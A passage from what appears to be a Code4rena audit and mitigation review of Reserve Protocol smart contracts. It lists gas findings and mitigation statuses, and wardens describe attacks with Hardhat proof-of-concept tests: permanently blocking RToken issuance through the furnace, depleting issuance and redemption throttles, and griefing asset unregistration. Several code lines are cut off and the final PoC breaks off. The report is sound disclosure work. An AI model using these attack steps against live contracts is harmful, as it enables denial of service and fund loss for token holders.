If a function modifier such as `onlyOwner` is used, the function will revert if a normal user tries to pay the function. Marking the function as `payable` will lower the gas cost for legitimate callers because the compiler will not include checks for whether a payment was provided. The extra opcodes avoided are `CALLVALUE` (2), `DUP1` (3), `ISZERO` (3), `PUSH2` (3), `JUMPI` (10), `PUSH1` (3), `DUP1` (3), `REVERT` (0), `JUMPDEST` (1), `POP` (2), which costs an average of about **21 gas per call** to the function, in addition to the extra deployment cost.

There are 2 instances of this issue.

[G-29] Don't use `_msgSender()` if not supporting EIP-2771

Use `msg.sender` if the code does not implement EIP-2771 trusted forwarder support.

There are 35 instances of this issue.

[G-30] `public` functions not called by the contract should be declared `external` instead

Contracts are allowed to override their parents' functions and change the visibility from `external` to `public` and prior to solidity version 0.6.9 can save gas by doing so.

There are 2 instances of this issue.

Excluded findings

These findings are excluded from awards calculations because there are publicly-available automated tools that find them. The valid ones appear here for completeness.

	Issue	Instances	Total Gas Saved
[G-31]	`<array>.length` should not be looked up in every loop of a `for` -loop	12	36
[G-32]	`require()` / `revert()` strings longer than 32 bytes cost extra gas	18	-
[G-33]	Using `bool` s for storage incurs overhead	4	68400
[G-34]	Using `> 0` costs more gas than `!= 0` when used on a `uint` in a `require()` statement	11	66
[G-35]	`++i` costs less gas than `i++` , especially when it's used in `for` -loops (`--i` / `i--` too)	11	55
[G-36]	Using `private` rather than `public` for constants, saves gas	33	-
[G-37]	Division by two should use bit shifting	8	160
[G-38]	Use custom errors rather than `revert()` / `require()` strings to save gas	151	-
[G-39]	Functions guaranteed to revert when called by normal users can be marked `payable`	12	252

Total: 260 instances over 9 issues with **68969 gas** saved

Gas totals use lower bounds of ranges and count two iterations of each `for` -loop. All values above are runtime, not deployment, values; deployment values are listed in the individual issue descriptions.

[G-31] `<array>.length` should not be looked up in every loop of a `for` -loop

The overheads outlined below are *PER LOOP*, excluding the first loop

- storage arrays incur a Gwarmaccess (**100 gas**)
- memory arrays use `MLOAD` (**3 gas**)
- calldata arrays use `CALLDATALOAD` (**3 gas**)

Caching the length changes each of these to a `DUP<N>` (**3 gas**), and gets rid of the extra `DUP<N>` needed to store the stack offset.

There are 12 instances of this issue.

[G-32] `require()` / `revert()` strings longer than 32 bytes cost extra gas

Each extra memory word of bytes past the original 32 [incurs an MSTORE](#) which costs **3 gas**.

There are 18 instances of this issue.

[G-33] Using `bool`s for storage incurs overhead

```
// Booleans are more expensive than uint256 or any type that
// word because each write operation emits an extra SLOAD to
// slot's contents, replace the bits taken up by the boolean
// back. This is the compiler's defense against contract upg
// pointer aliasing, and it cannot be disabled.
```

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/58f635312aa21f947cae5f8578638a85aa2519f5/contracts/security/ReentrancyGuard.sol#L23-L27

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas) for the extra SLOAD, and to avoid Gsset (**20000 gas**) when changing from `false` to `true`, after having been `true` in the past.

There are 4 instances of this issue.

[G-34] Using `> 0` costs more gas than `!= 0` when used on a `uint` in a `require()` statement

This change saves 6 gas per instance. The optimization works until solidity version 0.8.13 where there is a regression in gas costs.

There are 11 instances of this issue.

[G-35] `++i` costs less gas than `i++`, especially when it's used in `for`-loops (`--i` / `i--` too)

Saves **5 gas per loop**

There are 11 instances of this issue.

[G-36] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that **returns a tuple** of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table.

There are 33 instances of this issue.

[G-37] Division by two should use bit shifting

`<x> / 2` is the same as `<x> >> 1`. While the compiler uses the `SHR` opcode to accomplish both, the version that uses division incurs an overhead of **20 gas** due to `JUMP`s to and from a compiler utility function that introduces checks which can be avoided by using `unchecked {}` around the division by two.

There are 8 instances of this issue.

[G-38] Use custom errors rather than `revert()` / `require()` strings to save gas

Custom errors are available from solidity version 0.8.4. Custom errors save **~50 gas** each time they're hit by **avoiding having to allocate and store the revert string**. Not defining the strings also save deployment gas.

There are 151 instances of this issue.

[G-39] Functions guaranteed to revert when called by normal users can be marked `payable`

If a function modifier such as `onlyOwner` is used, the function will revert if a normal user tries to pay the function. Marking the function as `payable` will lower the gas cost for legitimate callers because the compiler will not include checks for whether a payment was provided. The extra opcodes avoided are `CALLVALUE` (2), `DUP1` (3), `ISZERO` (3), `PUSH2` (3), `JUMPI` (10), `PUSH1` (3), `DUP1` (3), `REVERT` (0), `JUMPDEST` (1), `POP` (2), which costs an average of about **21 gas per call** to the function, in addition to the extra deployment cost.

There are 12 instances of this issue.

Mitigation Review

Introduction

Following the C4 audit contest, 3 wardens (0xA5DF, HollaDieWaldfee, and AkshaySrivastav) reviewed the mitigations for all identified issues. Additional details can be found within the C4 Reserve Versus Mitigation Review contest repository.

Overview of Changes

Summary from the Sponsor:

> The sponsors have made many, many changes, in response to the thoughtful feedback from the Wardens. In most cases changes were straightforward and of limited scope, but in at least two cases there were significant reductions or simplifications of large portions of the code. These areas are expanded upon below in their own sections. The 3rd section will cover everything else:

1. Removal of non-atomic RToken issuance (M-13, M-15)

> PR #571: remove non-atomic issuance

> This audit, as in previous audits (ToB; Solidified) problems were found with the RToken issuance queue, a fussy cumulative data structure that exists to support constant-time `cancel()` and `vest()` operations for non-atomic issuance. This audit too, another issue was discovered with **M-13**. This prompted us to look for alternatives that achieve a similar purpose to the issuance queue, leading to removal of non-atomic issuance entirely and creation of the issuance throttle. The issuance throttle is at a low-level mechanistically similar to the redemption battery from before, except it is a *net hourly issuance* measure. This addresses the problem of ingesting large amounts of bad collateral too quickly in a different way and with less frictions for users, both in terms of time and gas fees.

> As wardens will see, large portions of the `RToken` contract code have been removed. This also freed up contract bytecode real estate that allowed us to take libraries internal that were previously external.

> **Context: Original purpose of issuance queue**

> The original purpose of the issuance queue was to prevent MEV searchers and other unspeakables from depositing large amounts of collateral right before the basket becomes IFFY and issuance is turned off. The overall IFFY -> DISABLED basket flow can be frontrun, and even though the depositer does not know yet whether a collateral token will default, acquiring a position in the queue acts like a valuable option that pays off if it does and has only opportunity cost otherwise. From the protocol's perspective, this kind of issuance just introduces bad debt.

> The new issunce throttle is purely atomic and serves the same purpose of limiting the loss due to bad debt directly prior to a collateral default.

2. Tightening of the basket range formula (H-02, M-20, M-22)

> PR #585: Narrow bu band

> H-02 is the other highly consequential change, from a sheer quantity of SLOC point of view. Indeed, the calculation of the top and bottom of the basket range was highly inefficient and would generally result in larger haircuts than desirable. Below are two datapoints from tests that show the severity of a haircut after default in the absence of RSR overcollateralization:

- **37.5%** loss + market-even trades

- Before: **39.7%** haircut
- After: **37.52%** haircut
- **15%** loss + worst-case below market trades
- Before: **17.87%** haircut
- After: **16.38%** haircut

> The previous code was more complicated, more costly, and provided worse outcomes. In short this was because it didn't distinguish between capital that needed to be traded vs capital that did not. While the protocol cannot know ahead of time exactly how many BUs it will have after recollateralization, it can use the number of basket units currently held as a bedrock that it knows it will not need to trade, and thus do not differentially contribute to `basket.top` and `basket.bottom`.

> **Related issues**

> In addition to H-02 this PR also addressed M-20 and M-22, which are related to the calculation of the dust loss and potential overflow during the shortfall calculation. The calculation of the dust loss is now capped appropriately and the shortfall calculation has been eliminated.

3. Everything else

> The mitigations for the remaining issues were more narrow in scope. Most do not require further context or description. But there are 2 smaller clusters of changes worth calling out:

> **Universal Revenue Hiding**

> [PR #620: Universal revenue hiding]

> As a warden pointed out in H-01, there are subtleties that can cause the compound v2 cToken rate to decrease, albeit by extremely little. Since we have dealt with Compund V2 for so long, and only just discovered this detail, we reason there are probably more like it.

> To this end we've implemented universal revenue hiding at the collateral plugin level, for all appreciating collateral. The idea is that even a small amount of

revenue hiding such as 1-part-in-1-million may end up protecting the collateral plugin from unexpected default while being basically undetectable to humans.

We mention this change because it can potentially impact other areas of the protocol, such as what prices trades are opened at, or how the basket range is calculated during recollateralization. A warden looking to examine this should focus their attention on `contracts/assets/AppreciatingFiatCollateral.sol`.

Redemption while DISABLED

[PR #575: support redemption while disabled]

The final change area to bring attention to is the enabling of RToken redemption while the basket is DISABLED. The motivation for this change is not neatly captured in a single contest issue, though it was something discussed with wardens via DM, and which seems tangentially related to issues like M-03.

Previous behavior: Cannot redeem while DISABLED. `BasketHandler.refreshBasket()` must be called before first redemption can occur, and even then, the redeemer must wait until trading finishes to receive full redemptions.

Current behavior: Can redeem while DISABLED. Will get full share of collateral until `BasketHandler.refreshBasket()` is called. Can use `revertOnPartialRedemption` redemption param to control behavior along this boundary.

We mention this change because functionality under different basket conditions is central to the functioning of our protocol. RToken redemption is how capital primarily exits the system, so any change to this area is fundamentally risky.

A related change is that `BasketHandler._switchBasket()` now skips over IFFY collateral.

Mitigation Review Scope

URL	Mitigation of	Purpose
https://github.com/reserve-protocol/protocol/pull/571	M-13, M-15	This PR removes the non-atomic issuance mechanism and adds an issuance throttle. The redemption battery is rebranded to a redemption throttle.
https://github.com/reserve-protocol/protocol/pull/585	H-02, M-20, M-22	This PR simplifies and improves the basket range formula. The new logic should provide much tighter basket range estimates and result in smaller haircuts.
https://github.com/reserve-protocol/protocol/pull/584	M-01, M-12, M-23, M-25	This PR bundles mitigations for many small issues together. The full list is in the PR description. Each of these items are small and local in scope.
https://github.com/reserve-protocol/protocol/pull/575	M-24	This PR enables redemption while the basket is DISABLED.
https://github.com/reserve-protocol/protocol/pull/614	M-18	This PR removes the ability to change StRSR token's name and symbol.
https://github.com/reserve-protocol/protocol/pull/615	M-03, M-04	This PR allows an RToken redeemer to specify when they require full redemptions vs accept partial (prorata) redemptions.
https://github.com/reserve-protocol/protocol/pull/617	M-02	This PR prevents paying out StRSR rewards until the StRSR supply is at least 1e18.
https://github.com/reserve-protocol/protocol/pull/619	M-05	This PR prevents melting RToken until the RToken supply is at least 1e18.
https://github.com/reserve-protocol/protocol/pull/620	H-01	This PR adds universal revenue hiding to all appreciating collateral.
https://github.com/reserve-protocol/protocol/pull/622	M-11	This PR adds a Furnace.melt()/StRSR.payoutRewards() step when governance changes the rewardRatio.
https://github.com/reserve-	M-16, M-21	This PR makes the AssetRegistry more resilient to bad collateral during asset unregistration, and disables

URL	Mitigation of	Purpose
protocol/protocol/pull/623		staking when frozen.
https://github.com/reserve-protocol/protocol/pull/628	M-10	This PR makes all dangerous uint192 downcasts truncation-safe.

*Note from the sponsor: we want to emphasize this is **not** the complete list of changes between the original df7eca commit and the mitigation review 27a347 commit. While it is the **vast majority** of the changes, we urge wardens to check out the diff between the two commits for themselves, as changes may have been made due to addressing gas/QA findings.*

Mitigation Review Summary

Original Issue	Status	Full Details
H-01	Mitigation confirmed w/ comments	Reports from HollaDieWaldfee, 0xA5DF, and AkshaySrivastav
H-02	Not fully mitigated	Report from 0xA5DF, and also shared below
M-01	Mitigation confirmed	Reports from 0xA5DF, HollaDieWaldfee, and AkshaySrivastav
M-02	Mitigation confirmed w/ comments	Reports from 0xA5DF, HollaDieWaldfee, and AkshaySrivastav
M-03	This is a duplicate, see M-04 for status	Comment from judge
M-04	Not fully mitigated	Reports from 0xA5DF, HollaDieWaldfee, and AkshaySrivastav, and also shared below
M-05	Not fully mitigated	Reports from HollaDieWaldfee and 0xA5DF (here and here), and also shared below
M-06	Per judge: invalid	Comment from judge
M-07	Confirmed by sponsor	-
M-08	Acknowledged by sponsor	-
M-09	Per judge: invalid	Comment from judge

Original Issue	Status	Full Details
M-10	Mitigation confirmed	Reports from HollaDieWaldfee, 0xA5DF, and AkshaySrivastav
M-11	Mitigation confirmed w/ comments	Reports from HollaDieWaldfee, 0xA5DF, and AkshaySrivastav
M-12	Mitigation confirmed	Reports from 0xA5DF, HollaDieWaldfee, and AkshaySrivastav
M-13	Mitigation confirmed w/ comments	Reports from HollaDieWaldfee, 0xA5DF, and AkshaySrivastav
M-14	Acknowledged by sponsor	-
M-15	Mitigation confirmed w/ comments	Reports from HollaDieWaldfee, 0xA5DF, and AkshaySrivastav
M-16	Not fully mitigated	Report from AkshaySrivastav, and also shared below
M-17	Acknowledged by sponsor	-
M-18	Mitigation confirmed	Reports from HollaDieWaldfee, 0xA5DF, and AkshaySrivastav
M-19	Acknowledged by sponsor	-
M-20	Mitigation confirmed w/ comments	Reports from HollaDieWaldfee, 0xA5DF, and AkshaySrivastav
M-21	Mitigation confirmed	Reports from HollaDieWaldfee, 0xA5DF, and AkshaySrivastav
M-22	Mitigation confirmed	Reports from HollaDieWaldfee and 0xA5DF
M-23	Mitigation confirmed w/ comments	Reports from 0xA5DF, HollaDieWaldfee, and AkshaySrivastav
M-24	Mitigation confirmed	Reports from 0xA5DF, HollaDieWaldfee, and AkshaySrivastav
M-25	Mitigation confirmed	Reports from HollaDieWaldfee, 0xA5DF, and AkshaySrivastav

There were also 3 new medium severity issues surfaced by the wardens. See below for details regarding the new issues as well as issues that were not fully mitigated.

Mitigation of H-02: Issue not fully mitigated

Submitted by 0xA5DF

Original Issue

H-02: Basket range formula is inefficient, leading the protocol to unnecessary haircut

Lines of code

https://github.com/reserve-protocol/protocol/blob/610cfca553beea41b9508abbfbf4ee4ce16cbc12/contracts/p1/mixins/RecollateralizationLib.sol#L146-L245

Not mitigated - top range can still be too high, leading to unnecessary haircut

- The applied mitigation follows the line of the mitigation suggested (disclosure: by me :)) in the original issue, however after reviewing it I found out that it doesn't fully mitigate the issue.
- The original issue was that basket range band is too wide, with both top range being too high and bottom range too low
- The bottom range is mitigated now
- As for the top range - even though it's more efficient now, it still can result in a top range that doesn't make sense.

Impact

Protocol might go for an unnecessary haircut, causing a loss for RToken holders. In the scenario below we can trade to get ~99% of baskets needed, but instead the protocol goes for a 50% haircut.

After the haircut the baskets held per supply ratio might grow back via `handoutExcessAssets` and `Furnace` however:

- Not all excess asset goes to `Furnace`
- `Furnace` grows slowly over time and in the meantime

    - Redemption would be at the lower baskets per supply
    - New users can issue in the meanwhile, diluting the melting effect

In more extreme cases the baskets held can be an extremely low number that might even cause the haircut to fail due to `exchangeRateIsValidAfter` modifier on `setBasketsNeeded()`. This would mean trading would be disabled till somebody sends enough balance to the undercollateralized asset.

Proof of Concept

Consider the following scenario:

- A basket is composed of 30 USDc and 1 ETH
- The prices are:
    - 1 USDc = 1 USD
    - ETH = 1500 USD
- Therefore the total basket value is 1515 USD
- Protocol holds 1000 baskets
- Governance changes the USDC quantity to 30 USDC
- Baskets held now is only 500, since we hold only 15K USDC
- Bottom range would be `basketsHeld + (excess_ETH * ETH_lowPrice / basket_highPrice) = 500 + (1500 * 500 * 0.99 / (1530 * 1.01)) = 980`
- Top range would be `basketsHeld + (excess_ETH * ETH_highPrice / basket_lowPrice) = 500 + (1500 * 500 * 1.01 / (1530 * 0.99)) = 1000`
- This is clearly a wrong estimation, which would lead to a haircut of 50% (!) rather than going for a trade.

Note: I mentioned governance change for simplicity, but this can also happen without governance intervention when a collateral gets disabled, it's value declines and a backup asset kicks in (at first the disabled asset would get traded and cover up some of the deficit and then we'd go for a haircut)

Mitigation

- A more efficient formula would be to use the max baskets held (i.e. the maximum of (each collateral balance divided by the basket_quantity of that collateral)) and then subtract from that the lowest estimation of baskets missing (i.e. lowest value estimation of needed assets to reach that amount divided by highest estimation of basket value).

    - In the case above that would mean `maxBasketsHeld - (USDC_deficit * USDC_lowPrice / basket_highPrice) = 1000 - (500 * 30 * 0.99 / (1530 * 1.01)) = 990.4`. Freeing up 9.6 ETH for sale

- The suggested formula might get us a higher top range estimation when the case is the other way around (the collateral that makes the larger part of the basket value is missing, in our case ETH is missing and USDC not), but it wouldn't result in a haircut and still go for trading (since the top range would be closer to baskets held)

Even with the mitigation above there can be extreme cases where a single asset holds a very small fraction of the total basket value (e.g. 0.1%) and the mitigation wouldn't help much in this case. There might be a need to come up with a broader mitigation for the issue that haircut is done to the number of baskets held rather than bottom range even though the difference between the two can be significant. Or set a threshold for the fraction of the value that each collateral holds in the total value of the basket.

tbrent (Reserve) confirmed and commented:

> Confirming, but I believe this issue can only arise when the basket unit is increased in `{UoA}` terms. Can someone confirm this? Does the issue exist when a basket unit is simply allocated differently, as opposed to being increased in size?

0xA5DF (warden) commented:

> Does the issue exist when a basket unit is simply allocated differently

> Usually when it's only allocated differently the asset which was decreased in quantity would be used to cover up for the asset that was increased (since top range is capped to baskets needed, the decreased asset would have a surplus). However there can be a scenario under difference in allocation:

- Asset A (worth 1515 USD) was switched to mostly asset B (1 ETH as above) and some of asset C (quantity increased from 15 USDC to 30 USDC)
- All of asset A was traded for asset B first (since asset B is missing more in value + oracle error caused a 1% difference in price)
- We're now facing the same issue as above - we've got 100% of basket B

> Plus, as mentioned above this can also happen when a collateral gets disabled, went down in value and was switched to backup collateral

tbrent (Reserve) commented:

> @0xA5DF shouldn't the `range.top` mitigation algo include a (positive) contribution from assets that are not in the basket? That is:
>
> if `quantity() > 0` : then we subtract out `(asset_deficit * asset_lowPrice / basket_highPrice)`
> else: then we add in `(asset_balance * asset_highPrice / basket_lowPrice)`

0xA5DF (warden) commented:

> Yeah, assets that not in the baskets or in the basket and more than needed.
>
> As I mentioned in some edge cases the issue still might persist. Maybe as part of the mitigation we should also don't do a haircut to an amount that's significantly lower than the bottom range.
> E.g. if the baskets held is 50% (of needed baskets) and bottom range is 98% we should do a haircut only down to 95% (and hopefully in the next round there are more chances we'll be able to trade).

tbrent (Reserve) linked to a mitigation PR:

> reserve-protocol/protocol#650

Mitigation of M-04: Issue not fully mitigated

Submitted by 0xA5DF, also found by HollaDieWaldfee and AkshaySrivastav

Original Issue

M-04: [Redemptions during undercollateralization can be hot-swapped to steal all funds]

Lines of code

https://github.com/reserve-protocol/protocol/blob/610cfca553beea41b9508abbfbf4ee4ce16cbc12/contracts/p1/RToken.sol#L215

Impact

User might be agreeing to a partial redemption expecting to lose only a small fraction, but end up losing a significantly higher fraction.

Details

- Issue was that user might get only partial redemption when they didn't intend to - they sent a tx to the pool, in the meanwhile an asset got disabled and replaced. Redeemer doesn't get any share of the disabled collateral, and the backup collateral balance is zero.
- Mitigation adds a parameter named `revertOnPartialRedemption`, if the parameter is false the redeeming would revert if any collateral holds only part of the asset.
- This is suppose to solve this issue since in the case above the user would set it to false and the redeeming tx would revert
- The issue is that there might be a case where the protocol holds only a bit less than the quantity required (e.g. 99%), and in that case the user would be setting `revertOnPartialRedemption` to true, expecting to get 99% of the value of the basket. Then if an asset is disabled and replaced the user would suffer a loss much greater than they've agreed to.

Proof of Concept

Likelihood Mostly the protocol wouldn't be undercollateralized for a long time, since there would either by trading going on to cover it or eventually there would be a haircut. But there can still be periods of time where this happens:

- Governance increased the basket quantity of one asset a bit (expecting the yield to cover for it), trading won't start till `tradingDelay` passes. Meaning a few hours where only partial redemption would be possible.
- Another asset got disabled first, and replaced by a backup asset. The protocol either had enough balance of the backup asset or covered up for it via trading. Yet again, this won't last long since eventually all trading would complete and the protocol would go to a haircut, but there can be multiple trading of multiple assets which would make it last up to a few hours.

Mitigation

The ideal solution would be to allow the user to specify the min amount for each asset or the min ratio of the between the total redemption value and the basket value, but that would be too expensive and complicated. I think the middle way here would be to replace `revertOnPartialRedemption` parameter with a single numeric parameter that specifies the min ratio that the user expects to get (i.e. if that parameter is set to 90%, that means that if any asset holds less than 90% than the quantity it should the redemption would revert). This shouldn't cost much more gas, and would cover most of the cases.

HollaDieWaldfee (warden) commented:

> Agreed

tbrent (Reserve) confirmed

Early attacker can DOS rToken issuance

Submitted by HollaDieWaldfee, also found by 0xA5DF (here and here)

Note: related to mitigation for M-05

Lines of code

https://github.com/reserve-protocol/protocol/blob/27a3472d553b4fa54f896596007765ec91941348/contracts/p1/RToken.sol#L308-L312
https://github.com/reserve-

protocol/protocol/blob/27a3472d553b4fa54f896596007765ec91941348/contracts/p1/RToken.sol#L132

Impact

An early attacker can DOS the `issue` functionality in the `RToken` contract.

No issuances can be made. And the DOS cannot be recovered from. It is permanent.

Proof of Concept

You can add the following test to the `Furnace.test.ts` file and execute it with `yarn hardhat test --grep 'M-05 Mitigation Error: DOS issue'`.

```
    describe('M-05 Mitigation Error', () => {
        beforeEach(async () => {
          // Approvals for issuance
          await token0.connect(addr1).approve(rToken.address, initia
          await token1.connect(addr1).approve(rToken.address, initia
          await token2.connect(addr1).approve(rToken.address, initia
          await token3.connect(addr1).approve(rToken.address, initia

          await token0.connect(addr2).approve(rToken.address, initia
          await token1.connect(addr2).approve(rToken.address, initia
          await token2.connect(addr2).approve(rToken.address, initia
          await token3.connect(addr2).approve(rToken.address, initia

          // Issue tokens
          const issueAmount: BigNumber = bn('100e18')
          // await rToken.connect(addr1).issue(issueAmount)
          // await rToken.connect(addr2).issue(issueAmount)
        })

        it('M-05 Mitigation Error: DOS issue', async () => {
          /* attack vector actually so bad that attacker can block i
          */
          console.log("Total supply");
          console.log(await rToken.totalSupply());

          const issueAmount: BigNumber = bn('1e17')
          await rToken.connect(addr1).issue(issueAmount)

          console.log("Total supply");
```

```
        console.log(await rToken.totalSupply());

        const transferAmount: BigNumber = bn('1e16')
        rToken.connect(addr1).transfer(furnace.address, transferAm

        await advanceTime(3600);

        await furnace.connect(addr1).melt()

        await advanceTime(3600);

        console.log("rToken balance of furnace");
        console.log(await rToken.balanceOf(furnace.address));

        /* rToken can not be issued
        */

        await expect(rToken.connect(addr1).issue(issueAmount)).to.

        console.log("rToken balance of furnace");
        console.log(await rToken.balanceOf(furnace.address));

        /* rToken can not be issued even after time passes
        */

        await advanceTime(3600);

        await expect(rToken.connect(addr1).issue(issueAmount)).to.

        /* rToken.melt cannot be called directly either
        */

        await expect(rToken.connect(addr1).melt(transferAmount)).t
    })
})
```

The attack performs the following steps:

1. Issue `1e17` rToken
2. Transfer `1e16` rToken to the furnace
3. Wait 12 seconds and call `Furnace.melt` such that the furnace takes notice of the transferred rToken and can pay them out later

4. Wait at least 12 seconds such that the furnace would actually call `RToken.melt`
5. Now `RToken.issue` and `RToken.melt` are permanently DOSed

Tools Used

VSCode

Recommended Mitigation Steps

Use a try-catch block for `furnace.melt` in the `RToken.issueTo` function.

```
diff --git a/contracts/p1/RToken.sol b/contracts/p1/RToken.sol
index 616b1532..fc584688 100644
--- a/contracts/p1/RToken.sol
+++ b/contracts/p1/RToken.sol
@@ -129,7 +129,7 @@ contract RTokenP1 is ComponentP1, ERC20Permi
         // Ensure SOUND basket
         require(basketHandler.status() == CollateralStatus.SOUN

-        furnace.melt();
+        try main.furnace().melt() {} catch {}
         uint256 supply = totalSupply();

         // Revert if issuance exceeds either supply throttle
```

The only instance when `furnace.melt` reverts is when the `totalSupply` is too low. But then it is ok to catch the exception and just continue with the issuance and potentially lose rToken appreciation.

Potentially losing some rToken appreciation is definitely better than having this attack vector.

The `RToken.redeemTo` function already has the call to the `furnance.melt` function wrapped in a try-catch block. So redemption cannot be DOSed.

tbrent (Reserve) confirmed

AssetRegistry cannot disable a bad asset

Submitted by AkshaySrivastav

Original Issue

M-16: RToken permanently insolvent/unusable if a single collateral in the basket behaves unexpectedly

Lines of code

https://github.com/reserve-protocol/protocol/blob/27a3472d553b4fa54f896596007765ec91941348/contracts/p1/AssetRegistry.sol#L91-L104

Impact

The AssetRegistry contains an `unregister` function which can be used to detach a bad collateral from the RToken system.

Previously M-16 was reported as an issue for the RToken system in which a single bad collateral can stop the working of RToken protocol.

To fix M-16, the `basketHandler.quantity` call was wrapped in a `try/catch` block so that the statement can handle any unexpected revert from the collateral contract.

While the fix handles unexpected reverts, it misses the case which the `basketHandler.quantity` call may consume the entire transaction gas.

So, if for some reasons the Collateral contract start consuming more gas than the allowed block gas limit, the `basketHandler.quantity` call will always fail, resulting in the revert of `unregister` call.

This essentially prevent governance from unregistering a collateral from the RToken. The unregistering of a collateral is still dependent upon the code execution of the collateral token contract.

Proof of Concept

Consider this scenario:

- TokenA was registered as an asset in AssetRegistry.
- Due to an upgrade/bug/hack the TokenA starts consuming all available gas on function calls.
- The RToken governance decides to unregister the TokenA asset and calls the `AssetRegistry.unregister` function.
- Internal call chain invokes any function of TokenA contract. The txn reverts with an out of gas error.
- The governance is now unable to unregister TokenA from RToken protocol and RToken is now unusable.

Recommended Mitigation Steps

Consider detaching the interaction with collateral contract completely from the unregistering contract flow. Unregistering a contract must never depend upon the code execution of Collateral token contract.

0xA5DF (warden) commented:

> Under the 1/64 rule, even if the call runs out of gas we still remain with 1/64 of the gas available before the call.
> Even if the remaining of `unregister()` takes about 50K gas units we'd still be fine if we call it with 3.2M gas.

tbrent (Reserve) confirmed and commented:

> This is a good find!

> Seems like another option for mitigation is to make the call to `BasketHandler.quantity()` reserving some quantity (100k?) of gas for later execution.

AkshaySrivastav (warden) commented:

> Ya reserving some gas could be a mitigation.

> Under the 1/64 rule, even if the call runs out of gas we still remain with 1/64 of the gas available before the call.

> I think this can be bypassed, after the call to broken Token contract, a default returndatacopy is done which can be used to consume the remaining 1/64 gas.

tbrent (Reserve) commented:

> reserve-protocol/protocol#647

> @AkshaySrivastav - does the linked PR address the issue? Any problems you see with it?

AkshaySrivastav (warden) commented:

> @tbrent some issues I still see which could be concerning are:
>
> 1. As all external contract calls after completion perform a RETURNDATACOPY, this can be misused to drain the 900k gas that you are reserving. The malicious token contract can return a huge data chunk which can consume the 900k gas.
> 2. The mitigation also opens up another issue. The `unregister()` call can be triggered with ~901k gas (excluding gas cost of require statements for simplicity). This will essentially cause failing of `basketHandler.quantity` call even for non-malicious collateral tokens. This is a more likely scenario as most governance proposals are open to be executed by anyone (once voting is passed and proposal is queued).
>
> The actual mitigation of this issue would be to completely detach the code execution of token contract from the unregistering execution flow.

tbrent (Reserve) commented:

> This seems ok. Not disabling the basket is a UX improvement. If the attack still results in the asset being unregistered then I would say it is not an issue.

Oxean (judge) commented:

> After reviewing the documentation for the mitigation contest, I believe this to be a case of mitigation not confirmed and not a mitigation error.
>
> If you read the original M-16 report it states:

> For plugins to function as intended there has to be a dependency on protocol specific function.
> In a case that the collateral token is corrupted, the governance should be able to replace to corrupted token. The unregistering flow should never be depended on the token functionality.

> The key part of this `The unregistering flow should never be depended on the token functionality.`

> The gas characteristics of the token are part of its functionality, so the mitigation was not sufficient to handle all cases and it's not a mitigation error / new issue.

StRSR: attacker can steal excess rsr that is returned after seizure

Submitted by HollaDieWaldfee, also found by AkshaySrivastav

Severity: Medium

Lines of code

https://github.com/reserve-protocol/protocol/blob/27a3472d553b4fa54f896596007765ec91941348/contracts/p1/BackingManager.sol#L176-L182
https://github.com/reserve-protocol/protocol/blob/27a3472d553b4fa54f896596007765ec91941348/contracts/p1/StRSR.sol#L496-L530

Vulnerability details

Note:
This issue deals with excess `rsr` that was seized from `stRSR` but is returned again.
The `M-12` issue also deals with excess `rsr`.

However `M-12` deals with the fact that not all `rsr` is returned to `stRSR`, whereas this issue deals with the fact that an attacker can steal `rsr` once it is returned to `stRSR`.

So while the issues seem to be similar they in fact are different.

They are separate issues. So I chose to report this separately with the `NEW` keyword.

Impact

`rsr` can be returned to `stRSR` after a seizure if not all seized `rsr` has been necessary to regain full collateralization.

This happens in the `BackingManger.handoutExcessAssets` function.

This excess `rsr` is then paid out to ALL stakers just like regular `rsr` rewards using the `StRSR._payoutRewards` function.

This is unfair. An attacker can abuse this behavior and stake `rsr` to profit from the returned `rsr` which is used to appreciate his `stRSR`.

It would be fair if the `rsr` was returned only to the users that had staked when the seizure occurred.

Proof of Concept

Think of the following scenario:

1. There are currently 100 stakers with an equal share of the `1000 rsr` total that is currently in the `stRSR` contract.
2. A seizure occurs and `500 rsr` are seized.
3. Not all `rsr` is sold and some (say `50 rsr`) is returned to `StRSR`
4. The attacker can front-run the transaction that returns the `rsr` and become a staker himself
5. The attacker will profit from the returned `rsr` once it is paid out as reward. Say the attacker stakes `100 rsr`. He now owns a share of `100 rsr / (500 rsr + 100 rsr) = 20%`. This means he will also get `20%` of the `50 rsr` that are paid out as rewards.

Tools Used

VSCode

Recommended Mitigation Steps

Ideally, as I said above, the `rsr` should be returned only to the users that had staked when the seizure occurred.

With the current architecture of the `stRSR` contract this is not possible. There is no way to differentiate between stakers.

Also the scenario described is an edge and relies on a seizure to occur and `rsr` to be returned.

It seems unrealistic that `10%` of the seized `rsr` is returned again. I think a number like `1% - 5%` is more realistic.

But still if the amount of `rsr` that is seized is big enough, `1% - 5%` can be a significant amount in terms of dollar value.

I estimate this to be `Medium` severity since an attacker can profit at the expense of other stakers and this behavior will decrease the willingness of users to stake as the risk of losing funds is increased.

This severly damages the incentives involved with staking. Stakers are incentivized to wait for seizures to occur and only then stake as they might profit from returned `rsr`.

I encourage the sponsor to further assess if there is a better way to return excess `rsr`.

tbrent (Reserve) acknowledged

Oxean (judge) commented:

> I believe that this issue does amount to a “leak of value” and is a valid Medium finding per C4 documentation. It may be accepted by the sponsors as a design tradeoff, but still should be highlighted to end users.

Attacker can temporary deplete available redemption/issuance by running issuance then redemption or vice versa

Submitted by 0xA5DF

Severity: Medium

Lines of code

https://github.com/reserve-protocol/protocol/blob/610cfca553beea41b9508abbfbf4ee4ce16cbc12/contracts/libraries/Throttle.sol#L66-L75

Impact

Attacker can deplete available issuance or redemption by first issuing and then redeeming in the same tx or vice versa.
The available redemption/issuance will eventually grow back, but this temporary reduces the available amount.
This can also use to front run other user who tries to redeem/issue in order to fail their tx.

Proof of Concept

In the PoC below a user is able to reduce the redemption available by more than 99% (1e20 to 1e14), and that's without spending anything but gas (they end up with the same amount of RToken as before)

```
diff --git a/test/RToken.test.ts b/test/RToken.test.ts
index e04f51db..33044b79 100644
--- a/test/RToken.test.ts
+++ b/test/RToken.test.ts
@@ -1293,6 +1293,31 @@ describe(`RTokenP${IMPLEMENTATION} contra
           )
         })

+        it('PoC', async function () {
+          const rechargePerBlock = config.issuanceThrottle.amtP
+
+          advanceTime(60*60*5);
```

```
